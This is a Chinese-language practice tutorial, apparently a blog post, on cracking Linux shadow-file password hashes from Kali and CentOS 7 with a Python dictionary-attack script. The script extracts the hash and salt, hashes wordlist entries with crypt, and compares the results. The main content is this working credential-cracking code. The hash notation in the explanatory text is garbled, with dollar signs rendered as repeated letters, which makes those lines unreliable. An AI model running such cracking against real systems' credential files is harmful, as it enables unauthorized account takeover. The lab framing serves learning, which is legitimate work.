# python之(kali、centos7)shadow爆破练习
先查看kali和centos7的shadow区别
kali :
root: y y yj9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2:18711:0:99999:7:::
盐值从左往右,最后一个 到前面 ( 包含 到前面(包含 到前面(包含):例: y y yj9T$uEgezfJhn7Ov5naU8bzZt.
centos7:
root: 6 6 6oHnmEwk9rFW4QeaQ$txA.A8QvQ.i2.rIH5Avneati/62U1htNMtpZn2ATp3ZiFWxMS2A/qaO
盐值从左往右,第二个 之前 ( 包含 之前(包含 之前(包含) 例: 6 6 6oHnmEwk9rFW4QeaQ$
加密算法(明文+盐值)=加密的密文
解题思路
从shadow 文件中,提取密码密文。
从密码密文中,提取盐值。
从密码字典文件中,读取密码。
把读取的密码与盐值进行加密运算,得到猜测的密码密文如果猜测的密码密文与shadow 文件中的密码密文一致,说明密码猜对了。
检验是否有crypt模块
import crypt
代码
# *调用crypt模块
import crypt
# *密码等于下面这串东西。
shadow_line ="root:$y$j9T$uEgezfJhn7Ov5naU8bzZt.$9qIqkWYObaXajS5iLDA43uFhdrtt4ZfbmiZjkZFYve2:18711:0:99999:7:::"
# *输出这串密文
print(f"[+]The shadow line is:{shadow_line}")
# *从shadow文件中,提取密码密文并输出。
crypt_text =shadow_line.split(":")[1]
print(f"[+] The crypt text is:{crypt_text}")
# *从密码密文中,提取盐值并输出
salt = crypt_text[0:crypt_text.rindex("$")]
print(f"[+] The salt is:{salt}")
# *从密码字典文件中,读取密码。
file_path ="/home/kali/tools/wordlists/top_password.txt"
# *按照上面那个路径打开并读取文件
with open(file= file_path,mode= "r") as f:
# *循环并一行一行的读取文件的内容。
for line in f:
# *去除两边空格
password =line.strip()
# *原地输出密码
print(f"\r[-] Trying password: {password}", end= "")
# *把读取的密码与盐值进行加密运算,得到猜测的密码密文。
new_crypt_text =crypt.crypt(password, salt)
# *如果猜测的密码密文与shadow文件中的密码密文一致,说明密码猜对了,并退出程序。
if new_crypt_text == crypt_text:
print(f"\n[+] PASSWORD FOUND: {password}")
exit()
# * 如果整个密码集合读完都没有,则输出以下字符。
print(f"[+] PASSWORD NOT FOUND!")
结果